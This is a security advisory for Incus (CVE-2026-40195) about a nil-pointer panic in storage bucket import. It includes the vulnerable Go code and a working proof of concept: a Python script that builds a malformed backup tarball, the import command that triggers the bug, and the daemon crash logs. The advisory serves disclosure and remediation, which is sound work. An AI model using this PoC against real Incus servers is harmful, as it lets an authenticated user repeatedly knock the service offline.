Nil-Pointer Dereference Panic via Bucket Metadata

Moderate **stgraber** published **GHSA-gc7j-g665-rxr9** last week

Package

github.com/lxc/incus/v6/cmd/incusd (Go)

Affected versions	Patched versions
< v7.0.0	>= v7.0.0

Description

Summary

Missing validation logic in the storage bucket import logic allows an authenticated user with access to Incus' storage bucket feature to cause the Incus daemon to crash. Repeated use of this issue can be used to keep Incus offline causing a denial of service.

Details

The storage bucket migration subsystem contains a nil-pointer dereference vulnerability that allows an authenticated attacker to crash the daemon during bucket import operations. The vulnerability is present in the backup metadata handling logic, where the daemon processes the index.yaml file from an imported archive and then accesses members of the parsed backup configuration without first verifying that the configuration object was initialized.

In Go, dereferencing a nil pointer triggers a runtime panic. Because CreateBucketFromBackup assumes that srcBackup.Config is populated from the supplied archive, a malicious or malformed index.yaml that omits the config block causes the daemon to dereference a nil pointer and terminate. This results in denial of service on the affected node.

Affected File:
https://github.com/lxc/incus/blob/v6.22.0/internal/server/storage/backend.go

Affected Code:

```
func (b *backend) CreateBucketFromBackup(srcBackup backup.Info, srcData
io.ReadSeeker, op *operations.Operation) error {
    [...]
    bucketRequest := api.StorageBucketsPost{
        Name:             srcBackup.Name,
        StorageBucketPut: srcBackup.Config.Bucket.StorageBucketPut,
    }

    // Create the bucket to import.
    err = b.CreateBucket(srcBackup.Project, bucketRequest, op)
    if err != nil {
        return err
    }

    reverter.Add(func() { _ = b.DeleteBucket(srcBackup.Project, bucketRequest.Name,
op) })

    // Upload all keys from the backup.
    for _, bucketKey := range srcBackup.Config.BucketKeys {
        bucketKeyRequest := api.StorageBucketKeysPost{
            Name:                bucketKey.Name,
            StorageBucketKeyPut: bucketKey.StorageBucketKeyPut,
        }

        _, err := b.CreateBucketKey(srcBackup.Project, srcBackup.Name,
bucketKeyRequest, op)
        if err != nil {
            return err
        }
    }

    // Upload all files from the backup.
    backupKey, err := b.getFirstAdminStorageBucketPoolKey(srcBackup.Project,
srcBackup.Name)
    if err != nil {
        return err
    }

    [...]
}
```

PoC

The following PoC demonstrates that a malformed bucket backup archive with an index.yaml file that omits the config block can trigger a nil-pointer dereference and crash the incusd daemon during bucket import.

Step 1: Create the malformed archive

From a client or workstation with Python available, generate a minimal bucket backup archive whose index.yaml omits the config section.

Commands:

```
cat <<EOF > poc_bucket_nil.py
import tarfile
import io

index_content = b"name: dos-trigger\n"

with tarfile.open("nil_panic.tar.gz", "w:gz") as tar:
    info = tarfile.TarInfo(name="backup/index.yaml")
    info.size = len(index_content)
    tar.addfile(info, io.BytesIO(index_content))

print("[+] Nil-Pointer PoC Tarball created: nil_panic.tar.gz")
EOF

python3 poc_bucket_nil.py
```

Result:

```
[+] Nil-Pointer PoC Tarball created: nil_panic.tar.gz
```

Step 2: Trigger the vulnerable bucket import path

From an Incus client with permission to import storage buckets, import the crafted archive into any valid storage pool.

Command:

```
incus storage bucket import local-pool nil_panic.tar.gz crash-test
```

Result:

```
Error: Operation not found
```

Step 3: Verify the daemon panic

On the Incus host, inspect the service logs and confirm that the daemon terminated with a nil-pointer panic in the bucket import path.

Command:

```
journalctl -u incus --since "3 minutes ago" | grep -A 15 "panic"
```

Result:

```
Mar 23 17:19:11 incus-7a incusd[237735]: panic: runtime error: invalid memory addr
or nil pointer dereference
Mar 23 17:19:11 incus-7a incusd[237735]: [signal SIGSEGV: segmentation violation
code=0x1 addr=0x60 pc=0x168a223]
Mar 23 17:19:11 incus-7a incusd[237735]: goroutine 9635 [running]:
Mar 23 17:19:11 incus-7a incusd[237735]:
github.com/lxc/incus/v6/internal/server/storage.
(*backend).CreateBucketFromBackup(0x254e0c0706c0, {{0x254e0cd77263, 0x9},
{0x254e0c408ce0, 0xa}, {0x0, 0x0}, {0x254e0c964c48, 0xa}, {0x0, ...}, ...}, ...)
Mar 23 17:19:11 incus-7a incusd[237735]:
/home/stgraber/Code/lxc/incus/internal/server/storage/backend.go:7754 +0x303
Mar 23 17:19:11 incus-7a incusd[237735]:
main.createStoragePoolBucketFromBackup.func3(0x191ca65?)
Mar 23 17:19:11 incus-7a incusd[237735]:
/home/stgraber/Code/lxc/incus/cmd/incusd/storage_buckets.go:1467 +0x19c
Mar 23 17:19:11 incus-7a incusd[237735]:
github.com/lxc/incus/v6/internal/server/operations.
(*Operation).Start.func1(0x254e0c333400)
Mar 23 17:19:11 incus-7a incusd[237735]:
/home/stgraber/Code/lxc/incus/internal/server/operations/operations.go:307 +0x26
Mar 23 17:19:11 incus-7a incusd[237735]: created by
github.com/lxc/incus/v6/internal/server/operations.(*Operation).Start in goroutine
9576
Mar 23 17:19:11 incus-7a incusd[237735]:
/home/stgraber/Code/lxc/incus/internal/server/operations/operations.go:306 +0x105
Mar 23 17:19:11 incus-7a systemd[1]: incus.service: Main process exited, code=exited,
status=2/INVALIDARGUMENT
Mar 23 17:19:11 incus-7a systemd[1]: incus.service: Failed with result 'exit-code'.
Mar 23 17:19:11 incus-7a systemd[1]: incus.service: Unit process 159855 (qemu-system-
x86) remains running after unit stopped.
Mar 23 17:19:11 incus-7a systemd[1]: incus.service: Unit process 237808 (dnsmasq)
remains running after unit stopped.
Mar 23 17:19:11 incus-7a systemd[1]: incus.service: Unit process 237825 (dnsmasq)
remains running after unit stopped.
```

It is recommended to validate that srcBackup.Config is not nil before attempting to access its members. If the required configuration metadata is missing from the archive, the function should return a structured error and abort the operation gracefully rather than allowing a runtime panic to crash the service.

Credit

This issue was discovered and reported by the team at 7asecurity (https://7asecurity.com/)

Severity

Moderate 6.5 / 10

CVSS v3 base metrics

Attack vector	Network
Attack complexity	Low
Privileges required	Low
User interaction	None
Scope	Unchanged
Confidentiality	None
Integrity	None
Availability	High

Learn more about base metrics

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CVE ID

CVE-2026-40195

Weaknesses

No CWEs

Credits

stamparm — Finder

stgraber — Remediation developer